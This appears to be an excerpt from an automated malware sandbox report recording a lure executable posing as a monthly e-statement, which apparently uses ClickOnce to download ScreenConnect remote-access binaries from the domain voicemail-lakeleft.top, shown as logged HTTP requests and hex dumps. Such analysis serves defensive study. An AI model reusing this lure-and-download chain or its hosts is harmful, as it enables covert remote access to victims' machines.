2024-11-08 10:09:38 UTC	16384	IN	Data Raw: 00 4f 70 65 6e 52 65 67 69 73 74 72 79 4b 65 79 00 43 72 65 61 74 65 50 72 6f 70 65 72 74 79 4b 65 79 00 47 65 74 48 6f 74 6b 65 79 00 53 65 74 48 6f 74 6b 65 79 00 70 77 48 6f 74 6b 65 79 00 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 00 67 65 74 5f 41 73 73 65 6d 62 6c 79 00 67 65 74 5f 46 6f 6e 74 46 61 6d 69 6c 79 00 44 65 66 61 75 6c 74 46 6f 6e 74 46 61 6d 69 6c 79 00 54 72 79 44 69 73 61 62 6c 65 46 69 6c 65 53 79 73 74 65 6d 52 65 64 69 72 65 63 74 69 6f 6e 54 65 6d 70 6f 72 61 72 69 6c 79 00 73 65 74 5f 52 65 61 64 4f 6e 6c 79 00 44 69 73 70 6f 73 65 51 75 69 65 74 6c 79 00 70 6f 69 6e 74 6c 79 00 53 65 6c 65 63 74 4d 61 6e 79 00 53 68 75 74 64 6f 77 6e 42 6c 6f 63 6b 52 65 61 73 6f 6e 44 65 73 74 72 6f 79 Data Ascii: OpenRegistryKeyCreatePropertyKeyGetHotkeySetHotkeypwHotkeySystem.Security.Cryptographyget_Assemblyget_FontFamilyDefaultFontFamilyTryDisableFileSystemRedirectionTemporarilyset_ReadOnlyDisposeQuietlypointlySelectManyShutdownBlockReasonDestroy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49814	194.59.30.201	443	2628	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:09:40 UTC	106	OUT	GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip
2024-11-08 10:09:41 UTC	217	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 601376 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:09:41 GMT Connection: close
2024-11-08 10:09:41 UTC	16167	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 7b 3c 99 98 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 fc 08 00 00 06 00 00 00 00 00 00 92 15 09 00 00 20 00 00 00 20 09 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 09 00 00 02 00 00 19 78 09 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL{<"0 @ `x@
2024-11-08 10:09:41 UTC	16384	IN	Data Raw: 00 0a 2a 00 00 1b 30 06 00 ef 0d 00 00 2c 00 00 11 73 ab 07 00 06 0a 06 02 7d 14 03 00 04 28 75 01 00 0a 2c 1c 72 9d 0a 00 70 17 17 28 76 01 00 0a 28 77 01 00 0a 16 8d 11 00 00 01 28 78 01 00 0a 02 17 7d 48 00 00 04 02 28 e4 00 00 06 17 28 cf 01 00 0a 0b 02 28 fd 00 00 06 0c 02 28 dc 00 00 06 7e a9 02 00 04 25 2d 17 26 7e 96 02 00 04 fe 06 25 07 00 06 73 d0 01 00 0a 25 80 a9 02 00 04 28 33 00 00 2b 6f d1 01 00 0a 0d 38 24 0c 00 00 12 04 09 6f d2 01 00 0a 7d 16 03 00 04 11 04 7b 16 03 00 04 28 2c 00 00 2b 13 05 11 04 7b 16 03 00 04 6f 15 03 00 06 28 36 06 00 06 13 06 11 04 7b 16 03 00 04 6f 29 03 00 06 28 4a 06 00 06 13 07 11 04 7b 16 03 00 04 6f 2a 03 00 06 28 4a 06 00 06 13 08 11 04 7b 16 03 00 04 6f 15 03 00 06 02 28 fb 00 00 06 25 13 0e 6f a2 00 00 0a Data Ascii: 0,s}(u,rp(v(w(x}H((((~%-&~%s%(3+o8$o}{(,+{o(6{o)(J{o(J{o(%o
2024-11-08 10:09:41 UTC	16384	IN	Data Raw: 02 7b 54 00 00 04 6f 0b 07 00 06 18 2e 0c 02 7b 54 00 00 04 16 6f a2 00 00 0a 2a 00 00 13 30 03 00 62 00 00 00 00 00 00 00 02 7b 54 00 00 04 6f 14 03 00 0a 2c 4d 02 7b 5a 00 00 04 28 a9 00 00 06 6f b8 04 00 06 02 7b 54 00 00 04 16 6f a2 00 00 0a 02 7b 54 00 00 04 02 7b 54 00 00 04 6f 14 03 00 0a 74 9a 00 00 01 17 6f 15 03 00 0a 26 02 7b 54 00 00 04 14 6f 7b 01 00 0a 02 17 28 3c 01 00 06 2a 02 16 28 3c 01 00 06 2a 00 00 13 30 05 00 90 00 00 00 47 00 00 11 72 1d 14 00 70 18 8d 11 00 00 01 25 16 03 8c 33 02 00 01 a2 25 17 02 7b 54 00 00 04 6f 0b 07 00 06 8c b6 00 00 02 a2 28 07 03 00 0a 02 7b 54 00 00 04 6f 0b 07 00 06 0a 06 17 2e 06 06 18 2e 27 2b 35 02 7b 5a 00 00 04 28 aa 00 00 06 6f b8 04 00 06 03 2d 22 02 28 ae 00 00 06 73 0a 03 00 0a 6f 45 01 00 0a 2b Data Ascii: {To.{To0b{To,M{Z(o{To{T{Toto&{To{(<(<*0Grp%3%{To({To..'+5{Z(o-"(soE+
2024-11-08 10:09:41 UTC	16384	IN	Data Raw: 73 27 04 00 0a 28 b2 00 00 2b 28 b3 00 00 2b 6f 28 04 00 0a 2a c2 02 28 29 04 00 0a 02 7e 2a 04 00 0a 28 2b 04 00 0a 02 20 02 60 00 00 17 28 2c 04 00 0a 02 02 fe 06 dd 01 00 06 73 2d 04 00 0a 28 2e 04 00 0a 2a 1e 02 7b 9b 00 00 04 2a 22 02 03 7d 9b 00 00 04 2a 1e 02 7b 9c 00 00 04 2a 22 02 03 7d 9c 00 00 04 2a 1e 02 7b 9d 00 00 04 2a 22 02 03 7d 9d 00 00 04 2a 1e 02 7b 9e 00 00 04 2a 22 02 03 7d 9e 00 00 04 2a 1e 02 7b 9f 00 00 04 2a 22 02 03 7d 9f 00 00 04 2a 1e 02 7b a0 00 00 04 2a 22 02 03 7d a0 00 00 04 2a 1e 02 7b a1 00 00 04 2a 22 02 03 7d a1 00 00 04 2a 1e 02 7b a2 00 00 04 2a 22 02 03 7d a2 00 00 04 2a 1e 02 7b a3 00 00 04 2a 22 02 03 7d a3 00 00 04 2a 1e 02 7b a4 00 00 04 2a 22 02 03 7d a4 00 00 04 2a 1e 02 7b a5 00 00 04 2a 22 02 03 7d a5 00 00 Data Ascii: s'(+(+o(()~(+ `(,s-(.{"}{"}{"}{"}{"}{"}{"}{"}{"}{"}{"}
2024-11-08 10:09:41 UTC	16384	IN	Data Raw: 00 0a 2c 07 02 28 a4 02 00 06 2a 02 6f 18 04 00 0a 2a 00 00 00 13 30 02 00 51 00 00 00 93 00 00 11 02 28 61 05 00 0a 2d 1d 02 28 9b 02 00 06 12 00 fe 15 1d 00 00 01 06 28 62 05 00 0a 2c 07 02 28 9b 02 00 06 2a 02 7b ef 00 00 04 2c 1d 02 28 a2 02 00 06 12 00 fe 15 1d 00 00 01 06 28 62 05 00 0a 2c 07 02 28 a2 02 00 06 2a 02 6f 17 04 00 0a 2a d6 02 28 61 05 00 0a 2d 0f 02 28 9f 02 00 06 2c 07 02 28 9f 02 00 06 2a 02 7b ef 00 00 04 2c 0f 02 28 a6 02 00 06 2c 07 02 28 a6 02 00 06 2a 02 6f c6 04 00 0a 2a d6 02 28 61 05 00 0a 2d 0f 02 28 a1 02 00 06 2c 07 02 28 a1 02 00 06 2a 02 7b ef 00 00 04 2c 0f 02 28 aa 02 00 06 2c 07 02 28 aa 02 00 06 2a 02 28 99 02 00 06 2a 00 00 00 1b 30 06 00 f0 00 00 00 94 00 00 11 02 03 28 ce 01 00 06 02 6f c4 02 00 06 0a 12 00 28 63 Data Ascii: ,(o0Q(a-((b,({,((b,(o(a-(,({,(,(o(a-(,({,(,((*0(o(c
2024-11-08 10:09:41 UTC	16384	IN	Data Raw: 08 06 00 0a 2a 32 02 7b 38 01 00 04 6f 09 06 00 0a 2a 36 02 7b 38 01 00 04 03 6f 0a 06 00 0a 2a 00 13 30 03 00 29 00 00 00 c4 00 00 11 02 7b 3a 01 00 04 0a 06 0b 07 03 28 b7 00 00 0a 74 10 00 00 1b 0c 02 7c 3a 01 00 04 08 07 28 4f 01 00 2b 0a 06 07 33 df 2a 00 00 00 13 30 03 00 29 00 00 00 c4 00 00 11 02 7b 3a 01 00 04 0a 06 0b 07 03 28 b9 00 00 0a 74 10 00 00 1b 0c 02 7c 3a 01 00 04 08 07 28 4f 01 00 2b 0a 06 07 33 df 2a 00 00 00 13 30 07 00 29 00 00 00 5a 00 00 11 02 02 7b 3a 01 00 04 73 8a 03 00 06 25 02 02 7b 39 01 00 04 0a 06 17 58 7d 39 01 00 04 06 6f 89 03 00 06 28 50 01 00 2b 2a 66 02 16 7d 39 01 00 04 02 28 83 03 00 06 02 7b 38 01 00 04 6f 0b 06 00 0a 2a 1e 02 28 83 03 00 06 2a 32 02 7b 38 01 00 04 6f 0c 06 00 0a 2a 32 02 7b 38 01 00 04 28 72 01 Data Ascii: 2{8o6{8o0){:(t\|:(O+30){:(t\|:(O+30)Z{:s%{9X}9o(P+f}9({8o(2{8o*2{8(r
2024-11-08 10:09:41 UTC	16384	IN	Data Raw: 7b 3d 05 00 04 2c 0b 06 7b 3d 05 00 04 6f 22 00 00 0a dc 06 7b 3c 05 00 04 2c 0b 06 7b 3c 05 00 04 6f 22 00 00 0a dc 07 2c 06 07 6f 22 00 00 0a dc 28 60 07 00 0a 26 dc 2a 01 34 00 00 02 00 69 00 41 aa 00 14 00 00 00 00 02 00 35 00 89 be 00 14 00 00 00 00 02 00 24 00 ae d2 00 0a 00 00 00 00 02 00 14 00 c8 dc 00 07 00 00 00 00 13 30 06 00 4a 00 00 00 00 00 00 00 02 28 ad 01 00 06 02 20 16 22 00 00 17 28 2c 04 00 0a 02 17 28 b1 07 00 0a 02 22 00 00 80 3f 7d 73 01 00 04 02 7e bb 05 00 0a 28 0d 05 00 06 73 82 05 00 0a 7d 74 01 00 04 02 18 17 16 16 02 73 b2 07 00 0a 7d 71 01 00 04 2a 00 00 13 30 03 00 29 00 00 00 16 00 00 11 02 7b 78 01 00 04 0a 06 0b 07 03 28 b7 00 00 0a 74 01 00 00 1b 0c 02 7c 78 01 00 04 08 07 28 09 00 00 2b 0a 06 07 33 df 2a 00 00 00 13 30 Data Ascii: {=,{=o"{<,{<o",o"(`&4iA5$0J( "(,("?}s~(s}ts}q0){x(t\|x(+3*0
2024-11-08 10:09:41 UTC	16384	IN	Data Raw: 28 d1 01 00 2b 7e 85 05 00 04 fe 06 dd 0a 00 06 73 60 01 00 0a 28 21 00 00 2b 0c 28 92 08 00 0a 08 25 2d 0b 26 d0 8c 00 00 02 28 bf 00 00 0a 6f 41 05 00 06 28 c3 04 00 06 2a 1a 7e b6 01 00 04 2a 1e 02 80 b6 01 00 04 2a 86 28 92 08 00 0a 02 6f 41 05 00 06 28 c3 04 00 06 7e aa 00 00 0a 02 6f b0 03 00 0a 6f 93 08 00 0a 2a 2e 28 c2 04 00 06 6f 5e 05 00 06 2a 2e 28 c2 04 00 06 6f 44 05 00 06 2a 2e 28 c2 04 00 06 6f 4a 05 00 06 2a 2e 28 c2 04 00 06 6f 4c 05 00 06 2a 2e 28 c2 04 00 06 6f 48 05 00 06 2a 2e 28 c2 04 00 06 6f 42 05 00 06 2a 2e 28 c2 04 00 06 6f 44 05 00 06 2a 2e 28 c2 04 00 06 6f 46 05 00 06 2a 2e 28 c2 04 00 06 6f 44 05 00 06 2a 2e 28 c2 04 00 06 6f 62 05 00 06 2a 2e 28 c2 04 00 06 6f 64 05 00 06 2a 2e 28 c2 04 00 06 6f 66 05 00 06 2a 2e 28 c2 04 Data Ascii: (+~s`(!+(%-&(oA(~(oA(~oo.(o^.(oD.(oJ.(oL.(oH.(oB.(oD.(oF.(oD.(ob.(od.(of.(
2024-11-08 10:09:41 UTC	16384	IN	Data Raw: 0a 25 80 d2 05 00 04 16 28 21 01 00 2b 2a 00 00 00 13 30 03 00 45 00 00 00 41 01 00 11 73 9f 09 00 0a 0a 06 03 7d a0 09 00 0a 02 06 fe 06 a1 09 00 0a 73 a2 09 00 0a 15 28 16 02 00 2b 7e a3 09 00 0a 25 2d 17 26 7e a4 09 00 0a fe 06 a5 09 00 0a 73 a6 09 00 0a 25 80 a3 09 00 0a 28 17 02 00 2b 2a 00 00 00 1b 30 03 00 2e 00 00 00 42 01 00 11 7e a7 09 00 0a 72 18 40 00 70 02 8c 64 00 00 01 28 1d 06 00 0a 6f a8 09 00 0a 0a 06 14 fe 03 0b de 0a 06 2c 06 06 6f 22 00 00 0a dc 07 2a 00 00 01 10 00 00 02 00 1b 00 07 22 00 0a 00 00 00 00 aa 28 01 03 00 0a 1c 16 73 02 03 00 0a 28 03 03 00 0a 2c 15 d0 23 03 00 01 28 bf 00 00 0a 6f 93 07 00 0a 28 10 06 00 06 2a 16 2a 56 28 11 06 00 06 2d 07 02 73 f2 06 00 06 2a 02 73 ed 06 00 06 2a 66 28 11 06 00 06 2d 09 02 03 04 73 e9 Data Ascii: %(!+0EAs}s(+~%-&~s%(+0.B~r@pd(o,o""(s(,#(o(V(-ss*f(-s
2024-11-08 10:09:41 UTC	16384	IN	Data Raw: 6f fc 01 00 0a 02 17 28 13 0b 00 0a 02 28 14 0b 00 0a 02 28 bb 01 00 0a 28 f9 01 00 0a 2a 76 02 28 23 08 00 0a 25 20 00 00 00 80 6f e5 04 00 0a 25 20 88 00 00 00 6f e6 04 00 0a 2a 00 13 30 05 00 bd 00 00 00 91 01 00 11 0f 01 28 f0 01 00 0a 2c 2b 02 28 df 00 00 0a 0f 01 28 f3 01 00 0a 28 15 0b 00 0a 28 7f 00 00 0a 2c 12 0f 01 28 f3 01 00 0a 28 86 00 00 0a 73 3b 05 00 0a 2a 02 02 28 f1 01 00 0a 02 28 ed 01 00 0a 02 28 f6 01 00 0a 17 28 10 07 00 06 0a 12 00 28 08 03 00 0a 2d 64 02 02 28 f1 01 00 0a 02 28 ed 01 00 0a 02 28 16 0b 00 0a 17 28 10 07 00 06 0b 12 01 28 08 03 00 0a 2d 3f 02 02 28 f6 01 00 0a 02 28 16 0b 00 0a 02 28 f1 01 00 0a 16 28 10 07 00 06 0c 12 02 28 08 03 00 0a 2d 1a 02 02 28 f6 01 00 0a 02 28 16 0b 00 0a 02 28 ed 01 00 0a 16 28 10 07 00 06 Data Ascii: o((((v(#% o% o0(,+((((,((s;*(((((-d(((((-?(((((-((((

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49825	194.59.30.201	443	2628	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:09:42 UTC	97	OUT	GET /Bin/ScreenConnect.Core.dll HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip
2024-11-08 10:09:43 UTC	217	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 548864 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:09:42 GMT Connection: close
2024-11-08 10:09:43 UTC	16167	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 7a fa ad c1 00 00 00 00 00 00 00 00 e0 00 22 20 0b 01 30 00 00 58 08 00 00 06 00 00 00 00 00 00 ea 72 08 00 00 20 00 00 00 80 08 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 08 00 00 02 00 00 af 44 09 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELz" 0Xr D@
2024-11-08 10:09:43 UTC	16384	IN	Data Raw: 06 26 2a 1e 02 7b 6c 01 00 0a 2a 22 02 03 7d 6c 01 00 0a 2a 3a 02 28 3c 00 00 0a 02 03 28 6d 01 00 0a 2a 00 00 13 30 02 00 28 00 00 00 3c 00 00 11 03 6f 46 01 00 0a 0a 02 7b 6e 01 00 0a 2d 0f 06 28 2b 00 00 2b 2c 07 02 06 7d 6e 01 00 0a 06 02 7b 6e 01 00 0a fe 01 2a 3e 03 6f 15 07 00 06 04 6f 15 07 00 06 fe 01 2a 3e 02 03 28 6f 01 00 0a 02 15 7d 70 01 00 0a 2a 13 30 03 00 33 01 00 00 3d 00 00 11 03 2d 0a 12 01 fe 15 81 00 00 1b 07 2a 02 03 28 71 01 00 0a 0a 03 6f 15 07 00 06 02 7b 70 01 00 0a fe 01 06 5f 2c 42 02 7b 72 01 00 0a 8c 81 00 00 1b 2c 18 02 28 73 01 00 0a 02 fe 06 74 01 00 0a 73 75 01 00 0a 28 2c 00 00 2b 26 02 15 7d 70 01 00 0a 02 7c 72 01 00 0a fe 15 81 00 00 1b 12 01 fe 15 81 00 00 1b 07 2a 03 6f 15 07 00 06 02 7b 70 01 00 0a 33 07 02 7b 72 Data Ascii: &{l"}l:(<(m0(<oF{n-(++,}n{n>oo>(o}p03=-(qo{p_,B{r,(stsu(,+&}p\|r*o{p3{r
2024-11-08 10:09:43 UTC	16384	IN	Data Raw: 00 3a 02 03 28 7d 00 00 2b 28 7e 00 00 2b 26 2a 00 13 30 03 00 54 00 00 00 42 00 00 11 02 45 04 00 00 00 02 00 00 00 0c 00 00 00 20 00 00 00 16 00 00 00 2b 28 03 04 73 c6 02 00 0a 0a 2b 30 03 04 73 c7 02 00 0a 0a 2b 26 03 04 73 c8 02 00 0a 0a 2b 1c 03 04 73 94 01 00 0a 0a 2b 12 72 b9 0c 00 70 02 8c b5 00 00 02 14 73 c9 02 00 0a 7a 06 2a 5a d0 8e 00 00 1b 28 3c 01 00 0a 02 28 ca 02 00 0a a5 8e 00 00 1b 2a 9e 03 02 7e d3 05 00 04 25 2d 17 26 7e d2 05 00 04 fe 06 a7 0e 00 06 73 cb 02 00 0a 25 80 d3 05 00 04 28 7f 00 00 2b 2a 00 1b 30 01 00 25 00 00 00 1e 00 00 11 02 28 cc 02 00 0a 2d 0a 12 00 fe 15 8e 00 00 1b 06 2a 00 03 6f 08 02 00 0a 0a de 07 02 28 2d 01 00 0a dc 06 2a 00 00 00 01 10 00 00 02 00 13 00 09 1c 00 07 00 00 00 00 3a 02 03 28 e9 04 00 06 28 80 Data Ascii: :(}+(~+&0TBE +(s+0s+&s+s+rpszZ(<(~%-&~s%(+0%(-o(-:((
2024-11-08 10:09:43 UTC	16384	IN	Data Raw: 00 d4 00 00 11 02 03 6f 3a 04 00 0a 0a 06 15 33 0a 12 01 fe 15 b3 01 00 1b 07 2a 02 16 06 6f 86 03 00 0a 02 06 17 58 6f f2 02 00 0a 28 59 00 00 2b 73 39 04 00 0a 2a fe 02 25 2d 06 26 7e 98 01 00 0a 03 6f 8c 01 00 0a 7e e5 05 00 04 25 2d 17 26 7e d2 05 00 04 fe 06 b9 0e 00 06 73 9f 02 00 0a 25 80 e5 05 00 04 28 b3 00 00 2b 28 6e 04 00 06 28 72 00 00 2b 2a 6e 03 0f 00 28 14 04 00 0a 81 8e 00 00 1b 04 0f 00 28 15 04 00 0a 81 8f 00 00 1b 2a 3e 1f fe 73 9a 0f 00 06 25 02 7d a2 06 00 04 2a ae 02 16 16 16 16 73 27 03 00 06 7e d1 05 00 04 25 2d 13 26 14 fe 06 44 03 00 06 73 3b 04 00 0a 25 80 d1 05 00 04 28 d4 00 00 2b 2a 82 02 28 d5 00 00 2b 03 28 d5 00 00 2b 04 2d 04 16 6a 2b 02 15 6a 28 4c 05 00 06 28 d6 00 00 2b 2a 26 02 03 66 5f 04 03 5f 60 2a 76 02 28 d5 00 Data Ascii: o:3oXo(Y+s9%-&~o~%-&~s%(+(n(r+n((>s%}s'~%-&Ds;%(+(+(+-j+j(L(+&f__`v(
2024-11-08 10:09:43 UTC	16384	IN	Data Raw: 00 fd 00 00 00 1f 01 00 11 1f 12 8d b8 00 00 01 25 16 72 e8 13 00 70 a2 25 17 02 28 54 07 00 06 28 56 0b 00 06 a2 25 18 72 fe 13 00 70 a2 25 19 02 28 56 07 00 06 0a 12 00 28 96 01 00 0a a2 25 1a 72 10 14 00 70 a2 25 1b 02 28 58 07 00 06 0a 12 00 28 96 01 00 0a a2 25 1c 72 22 14 00 70 a2 25 1d 02 28 5a 07 00 06 0a 12 00 28 96 01 00 0a a2 25 1e 72 34 14 00 70 a2 25 1f 09 02 28 5c 07 00 06 0a 12 00 28 96 01 00 0a a2 25 1f 0a 72 32 13 00 70 a2 25 1f 0b 02 28 5e 07 00 06 28 56 0b 00 06 a2 25 1f 0c 72 48 14 00 70 a2 25 1f 0d 02 28 60 07 00 06 0b 12 01 fe 16 2c 01 00 02 6f 43 00 00 0a a2 25 1f 0e 72 68 14 00 70 a2 25 1f 0f 02 28 62 07 00 06 0c 12 02 fe 16 2d 01 00 02 6f 43 00 00 0a a2 25 1f 10 72 80 14 00 70 a2 25 1f 11 02 28 64 07 00 06 0d 12 03 28 2f 05 00 0a Data Ascii: %rp%(T(V%rp%(V(%rp%(X(%r"p%(Z(%r4p%(\(%r2p%(^(V%rHp%(`,oC%rhp%(b-oC%rp%(d(/
2024-11-08 10:09:43 UTC	16384	IN	Data Raw: 28 f5 01 00 06 6a 58 7d d8 03 00 04 02 02 7b d9 03 00 04 7e 2a 06 00 0a 28 81 01 00 2b 2a 00 00 00 13 30 03 00 29 00 00 00 51 01 00 11 02 7b d9 03 00 04 0a 06 0b 07 03 28 2b 06 00 0a 74 4f 00 00 1b 0c 02 7c d9 03 00 04 08 07 28 82 01 00 2b 0a 06 07 33 df 2a 00 00 00 13 30 03 00 29 00 00 00 51 01 00 11 02 7b d9 03 00 04 0a 06 0b 07 03 28 2d 06 00 0a 74 4f 00 00 1b 0c 02 7c d9 03 00 04 08 07 28 82 01 00 2b 0a 06 07 33 df 2a 56 02 28 36 0a 00 06 02 03 7d da 03 00 04 02 04 7d db 03 00 04 2a 1e 02 7b da 03 00 04 2a 1e 02 7b db 03 00 04 2a 5a 03 02 28 3e 0a 00 06 5a 1e 28 19 04 00 06 02 28 3f 0a 00 06 58 2a 86 02 03 04 28 3d 0a 00 06 02 05 75 98 00 00 02 7d dc 03 00 04 02 05 75 97 00 00 02 7d dd 03 00 04 2a 86 02 03 28 63 01 00 0a 03 2c 16 02 7b dc 03 00 04 28 Data Ascii: (jX}{~(+0)Q{(+tO\|(+30)Q{(-tO\|(+3V(6}}{{Z(>Z((?X(=u}u}*(c,{(
2024-11-08 10:09:43 UTC	16384	IN	Data Raw: 06 6f 11 00 00 0a 2d d2 de 0a 06 2c 06 06 6f 10 00 00 0a dc 2a 01 10 00 00 02 00 07 00 32 39 00 0a 00 00 00 00 1b 30 06 00 44 00 00 00 79 01 00 11 03 6f 16 07 00 0a 0a 2b 26 06 6f 17 07 00 0a 0b 07 04 07 6f 0a 0c 00 06 02 05 07 6f 09 0c 00 06 28 0a 09 00 06 6f 0d 0c 00 06 28 02 0c 00 06 06 6f 11 00 00 0a 2d d2 de 0a 06 2c 06 06 6f 10 00 00 0a dc 2a 01 10 00 00 02 00 07 00 32 39 00 0a 00 00 00 00 b2 02 28 3c 00 00 0a 02 03 7d 3d 04 00 04 02 04 7d 3e 04 00 04 02 05 7d 3f 04 00 04 02 0e 04 7d 40 04 00 04 02 0e 05 7d 41 04 00 04 2a 1e 02 7b 3d 04 00 04 2a 1e 02 7b 3e 04 00 04 2a 1e 02 7b 3f 04 00 04 2a 1e 02 7b 40 04 00 04 2a 1e 02 7b 41 04 00 04 2a 00 00 00 1b 30 02 00 47 00 00 00 2a 00 00 11 7e 1b 07 00 0a 2d 3a 7e 1c 07 00 0a 0a 06 28 2c 01 00 0a 7e 1b 07 Data Ascii: o-,o290Dyo+&ooo(o(o-,o29(<}=}>}?}@}A{={>{?{@{A0G*~-:~(,~
2024-11-08 10:09:43 UTC	16384	IN	Data Raw: 00 06 04 3a 6a ff ff ff 2a 0a 17 2a 0a 17 2a 0a 17 2a 0a 17 2a 06 2a 00 00 13 30 05 00 1c 00 00 00 08 00 00 11 05 0e 04 8e 69 0e 05 59 28 60 01 00 0a 0a 03 04 0e 04 0e 05 06 28 32 02 00 0a 06 2a 1a 73 6a 01 00 0a 7a 1e 02 28 3c 00 00 0a 2a 2e 73 ac 0d 00 06 80 32 05 00 04 2a 1e 02 28 3c 00 00 0a 2a 32 02 7b 33 05 00 04 6f 42 01 00 06 2a 1e 02 28 3c 00 00 0a 2a 36 03 02 7b 7f 01 00 0a 6f 7b 01 00 0a 2a 1e 02 28 3c 00 00 0a 2a 36 03 02 7b 88 01 00 0a 6f 7b 01 00 0a 2a 2e 73 b5 0d 00 06 80 38 05 00 04 2a 1e 02 28 3c 00 00 0a 2a 22 03 04 28 5d 02 00 06 2a 22 03 04 28 63 02 00 06 2a 1e 02 28 3c 00 00 0a 2a 00 00 13 30 03 00 1d 00 00 00 b0 01 00 11 02 7b 3b 05 00 04 03 16 28 ef 01 00 2b 0a 12 00 1f 64 28 7a 08 00 0a 6f 36 02 00 06 2a 00 00 00 13 30 03 00 1b 00 Data Ascii: :j*****0iY(`(2sjz(<.s2(<2{3oB(<6{o{(<6{o{.s8(<"(]"(c(<0{;(+d(zo60
2024-11-08 10:09:43 UTC	16384	IN	Data Raw: 07 00 04 28 56 06 00 06 8c da 02 00 02 2a 1e 02 28 3c 00 00 0a 2a 36 02 7b 2f 0a 00 0a 16 6f 30 0a 00 0a 2a 36 02 7b 2f 0a 00 0a 17 6f 30 0a 00 0a 2a 1e 02 28 3c 00 00 0a 2a 4a 02 7b 22 05 00 0a 02 7b 23 05 00 0a 28 31 0a 00 0a 2a 1e 02 28 3c 00 00 0a 2a 4a 02 7b 27 05 00 0a 02 7b 28 05 00 0a 28 31 0a 00 0a 2a 2e 73 0b 10 00 06 80 25 07 00 04 2a 1e 02 28 3c 00 00 0a 2a 1e 03 6f 22 07 00 06 2a 1e 03 6f 43 00 00 0a 2a 2e 73 0f 10 00 06 80 28 07 00 04 2a 1e 02 28 3c 00 00 0a 2a 1e 03 6f 43 00 00 0a 2a 2e 73 12 10 00 06 80 2a 07 00 04 2a 1e 02 28 3c 00 00 0a 2a 22 0f 01 28 52 0b 00 06 2a 3a 0f 01 fe 16 4e 01 00 02 6f 43 00 00 0a 2a 2e 73 16 10 00 06 80 2d 07 00 04 2a 1e 02 28 3c 00 00 0a 2a 3a 0f 01 fe 16 c4 00 00 02 6f 43 00 00 0a 2a 1e 02 28 3c 00 00 0a 2a Data Ascii: (V(<6{/o06{/o0(<J{"{#(1(<J{'{((1.s%(<o"oC.s((<oC.s(<"(R:NoC.s-(<:oC(<
2024-11-08 10:09:43 UTC	16384	IN	Data Raw: 01 f7 02 01 00 10 00 4c b0 00 00 ad 3d 01 00 45 00 8d 01 fb 02 09 01 10 00 89 2e 01 00 ad 3d 01 00 6d 00 8d 01 fc 02 a1 00 10 00 48 26 00 00 ad 3d 01 00 00 00 90 01 03 03 81 01 10 00 fd 2b 01 00 ad 3d 01 00 35 00 90 01 04 03 01 01 00 00 a0 6a 01 00 ad 3d 01 00 c5 00 90 01 05 03 01 01 00 00 00 8e 00 00 ad 3d 01 00 c5 00 96 01 05 03 09 01 10 00 ba 36 01 00 ad 3d 01 00 6d 00 9c 01 05 03 09 01 10 00 6c 50 01 00 ad 3d 01 00 6d 00 a0 01 0d 03 09 01 10 00 4f bc 00 00 ad 3d 01 00 6d 00 a2 01 1b 03 09 01 10 00 1c 3b 01 00 ad 3d 01 00 6d 00 a4 01 26 03 09 01 10 00 12 00 01 00 ad 3d 01 00 6d 00 a8 01 4d 03 81 01 10 00 52 3b 01 00 ad 3d 01 00 35 00 ab 01 61 03 01 20 10 00 84 e3 00 00 ad 3d 01 00 35 00 ad 01 6a 03 01 20 10 00 d3 34 01 00 ad 3d 01 00 35 00 b0 01 82 03 Data Ascii: L=E.=mH&=+=5j==6=mlP=mO=m;=m&=mMR;=5a =5j 4=5

Target ID:	0
Start time:	05:09:15
Start date:	08/11/2024
Path:	C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe"
